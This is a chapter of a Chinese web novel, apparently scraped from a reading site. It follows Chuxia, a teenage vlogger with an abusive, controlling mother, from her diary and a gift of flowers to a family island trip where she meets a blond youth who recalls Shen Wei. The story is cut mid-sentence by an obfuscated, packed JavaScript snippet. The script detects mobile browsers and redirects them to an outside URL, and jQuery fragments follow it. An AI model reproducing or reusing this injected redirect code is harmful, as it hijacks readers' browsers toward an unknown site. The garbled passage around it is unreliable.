我不是有个账号吗,现在做得还不错,已经有二十几万的粉丝啦,上个月月底我发过关于父母喜欢控制孩子怎么办的视频,结果发评论讨论的人还挺多,大多数留言说自己也有这样的困扰,只有一条是给建议的:
你没有能力逃离父母时,就好好提升自己的能力,让自己变得足够优秀。你可以把他们的话,当成耳旁风,就是字面意思,一阵风。风吹来了,是不是很快就吹走了?你不要太当真,太当真你会受伤。他们控制你是一次伤害,你当真是二次伤害,你要是在日后的每天都回忆那天的情景,就是三次伤害、四次伤害,没必要这样折腾自己。
当然,除此之外,你也不能做一个懦夫,不是他们说什么你就得听,适当的时候,你要有自己的主见,要适当地反抗。你不要觉得他们是世界的主宰者,不要觉得他们说的话都是至理名言,其实不然,喜欢控制孩子的父母,是因为在别的方面无法体会到掌控权,才会在弱者身上发挥。他们不是世界的主宰者,他们是世界的懦夫!要跟这样的父母保持距离,要有边界感,减少他们伤害你的机会。
如果你有能力逃离父母的话,我劝你,还是逃得远远的。都说家暴只有0次跟无数次,其实父母对孩子的控制欲也是。【注】
这样的父母不是在培养小孩,而是在培养“奴隶”。
你不要成为谁的“奴隶”,你要成为自己人生的主人!
这位网友已经陪我整整一年了,从开号到现在,每个视频的留言区都有他的影子。虽然我们是陌生人,但他就像认识了很久的朋友,总能适时地给到我安慰。
如果不是他发这些,我是不会有反抗意识的。
我承认,我是胆小鬼,我害怕跟妈妈对视,害怕她生气时快要冒火的眼睛;我害怕跟妈妈争吵,因为她骂人太厉害了,别说我跟她吵,就是顶嘴一句,她都要骂我很多句,甚至打我。
从今往后,我也想成为自己人生的主人。虽然这个很理想化,希望在未来的某一天,可以实现。
今天啰啰嗦嗦写好多,就先写到这里吧,外面的天不算多黑,一抬头可以看见窗外的凤凰树,还能看见夜空的星星。
初夏写了整整四页,落笔在“星星”处时,想到了自己给沈未取的“星星”少年,不禁莞尔。
她合上日记本,上了锁,把它放到抽屉里,抽屉也上了锁。
她把桌上收拾整齐,最后目光落在桌子左边的花瓶,花瓶里插着粉色的花,是沈未送她的那束,长得跟玫瑰很像。一开始她还想呢,为什么他要送自己粉色玫瑰花,难道对她有什么别的心思?
后来她特意搜了下,这种花叫荔枝玫瑰,被简称为粉荔枝,散发出荔枝的甜香,像在闻荔枝气泡水,透出夏天的味道。
做点缀的除了有她认识的尤加利叶,还有她不认识的一种绿色植物,搜完得知是春羽,还有个很好听的名字——小天使。
装花的瓶子是她从廖知书想要扔掉的玻璃罐里捡来的,瓶口小,只能插三支。其他的还挤在包装纸里。
她还查了下,容不容易养活,结果有网友说,不管怎么养,新鲜期都不过两天。
不管怎样,别人的一片心意,她要好好养着。
*
翌日,初夏去外面捡来了几个玻璃瓶,洗干净后,把剩余的粉荔枝放进去,每天都换水,但养了两天,原本粉嫩嫩的花瓣开始变黄、发枯。
初夏有点难过,拿出手机,拍下粉荔枝变黄的视频,直到粉荔枝完全枯萎,她都记录下来了。
但剪辑出来的视频,只有新鲜的粉荔枝,夹杂在她的日常vlog里,取的标题是【人生有没有保质期?】
评论区那个常客“白日梦想家”留言:花有花期,人生没有保质期。搬家快乐!
……
初夏一直想着什么时候可以去看海,她都查好了,这个镇就有几处海,有一处还是景点,她想找一天去看看,但廖知书让她在家里好好待着,不要出去。理由是,上次中暑你忘啦。
中暑差点要死的事,初夏从没跟廖知书说过,估计是司机说的。
她知道廖知书这样说,并不是为自己好,不过是希望她在家里干活。
家里请了个家政阿姨,负责洗衣做饭,但廖知书非要让她天天洗衣服,不只洗她的,还要给他爸和他哥洗,甚至连内裤都要她洗,是一种赤裸裸的羞辱,仿佛在提醒她,她有多低/贱,只配给他们刷鞋、洗衣服。
她看着廖知书手里拿着的两条男士内裤,尽量让自己很有礼貌,微笑着说:“妈,这个可以不洗吗?”
“之前一直都是你洗的,你不想洗,你在想什么呢?”廖知书脸一沉。
之前洗是因为她不懂男女授受不亲,不懂“不听爸妈话的孩子不一定是坏小孩”,更不懂“爸妈控制你时,你也是可以反抗的”。
初夏没有反抗,不是她逆来顺受惯了,而是她知道,不管她是否反抗,最后的结局不会有一点变化,错了,会有变化的,会承受廖知书的言语暴力,甚至拳头暴力。
那段时间,她背上的伤并没有完全好,洗衣服、晾衣服时,都会牵扯到伤口,快要愈合的伤口又会裂开,她不得不在晾晒完衣服后,对着镜子抹药。
她的背很白,在蝴蝶骨右上方的位置有一道醒目的伤口,结了痂,但裂开了,渗出血珠,血珠把她的白色T恤都弄花了。
血没有停,她用棉签擦了一遍又冒出来,再擦,再冒出来,疼意一次次袭来,她咬着牙,艰难地处理伤口。
她忽然想起,有个少年跟她说:“回去后有什么事,可以给我打电话。”
她的胸腔里的空气被一点点抽走,她有点窒息。
很想很想跟谁倾诉,可她的遭遇,多么不光彩,多么伤自尊。
无法跟任何人倾诉。
初夏继续擦掉血珠,直到手都酸了,她才勉强擦掉,再消毒上药。
外面的阳光很好,凤凰花开得很绚丽,吹在身上的风也暖暖的,一切都是如此美好,她却觉得鼻子酸酸的,像吃了一颗酸柠檬。
*
初夏能去海边,是在一个月后。
并不是去她在网上搜到的夕照镇的任何一处海,而是距离夕照镇一百多公里的蓝岛。
要先开车去码头,再乘船,才能抵达廖知书口中的美丽岛屿。
一同前去的有廖知书、初文北,还有她的哥哥——初阳。
初夏一路上就没怎么休息过,廖知书让她给她拍照片、录视频,还给他们三个人拍合照,她成了他们旅游途中的记录者。
而她不过是,局外人。
无所谓了,这样的日子,也不是一天两天了,她也习惯了。
但看到别的一家人,找她帮忙拍照片时,她的心还是控制不住地涌上一阵酸涩。
……
入住的是一家叫“归真”的民宿,临海,从居住的两层小楼就能看到海,二楼一旁还有室外楼梯,可以上去看海景。
初夏站在二楼上面的露台,看着不远处的海,湛蓝湛蓝的,海水在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571105|171475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳光下,泛着粼粼波光,海风吹来,卷起盛夏里的热意,还有咸咸的海水味。
这是她第一次看海,眼睛亮亮的,心里有着难言的兴奋。
一路上所承载的酸楚、迷惘,此刻都一扫而光。
“初夏,下来!”有人在喊她。
初夏一低头,看到楼下站着的少年,是比她大两岁的哥——初阳。
浑身上下都穿的名牌,黑色T恤上布满品牌LOGO,短裤上也有一个很大的LOGO,就连脚上的那双网状运动鞋也遍布LOGO,生怕别人不知道他是富家公子哥。
一身全是新的,而她身上穿的,还是去年买的白色连衣裙,一次没舍得穿,买的时候她就想着,如果有一天去海边,一定要穿上,会跟大海相配吧。
*
从远处看海,跟在近处看海的感受截然不同。
如果说远处看海,看得是海的壮阔无际,那么近处看海,看得是海的温柔无边。
海水温柔地涌上海岸,又悄然退去。
这座岛尚未被开发,具有原生态的美,海水也是异常清澈,能清晰看到水下的海草、贝壳。
初夏看着这片湛蓝的海,内心雀跃得像个没见过世面的孩子,就连嘴角都不由得露出笑容。
尽管她在他们三人的后面走着,但丝毫不影响她看海。
她的双肩挂着袋子,手里提满了东西,跟在他们三人后面,不只是像小跟班,更像小丫鬟。
初夏没去管肩膀的疼痛,也没去管手腕处已经被勒出了重重的红痕,她沉浸在海的世界里,一路用手机录着眼前的美景。
从海面到天空,海天一线间,被深浅不一的蓝色覆盖,像夏日里打开了一瓶冰镇饮料,看了能化解这烈阳下的酷热。
偶尔镜头里会有几只飞鸟掠过,会出现小小的船只,还会有赤脚踏入海水里的游客。
她这个观光客,将此时此刻发生的一切记录着。
这些会是她剪辑生活vlog的素材。
忽然,有几道身影出现在镜头里。
他们说笑着,声音清脆脆的,是少男少女们的声音。
他们身上洋溢着青春的气息,朝气的,热烈的,宛若一株株生机蓬勃的植物。
初夏下意识地将镜头转过去,有一个男生在人群里很特别。
个子很高,染一头金发,穿着白色棉麻长袖、黑色运动长裤,穿人字拖,双手插兜,背朝她走来,步子不急不缓,身上有几分痞劲儿。
又是哪个社会上的混混吧,他身边的人都没他惹眼,他应该是混混头目。
这身形,让初夏想起了沈未。
沈未跟这个混混头目差不多高吧,走起路来也是晃晃悠悠的,仿佛天塌下来都没他事。
他们离自己越来越近了,初夏刚想放下手机,忽然后面有一股冲力,将她撞得往前扑去。
她猝不及防地撞上了混混头目的后背。
糟了,惹上混混头目了!
初夏内心一阵慌乱,手脚都僵硬,贴着混混头目的背,吓得不敢动。
她闻到了某种熟悉的气息,清冽的雪松味。
跟沈未身上的一样。
一定是错觉,怎么可能!
沈未是黑发,而眼前的少年是金发。
“未哥,我跟冲浪俱乐部的负责人说好了,那边给腾出来了一套,现在齐全了,咱们过去吧。”
是熟悉的男声,初夏刚想转头看来人,视线却对上了混混头目的,她惊得睁大眼。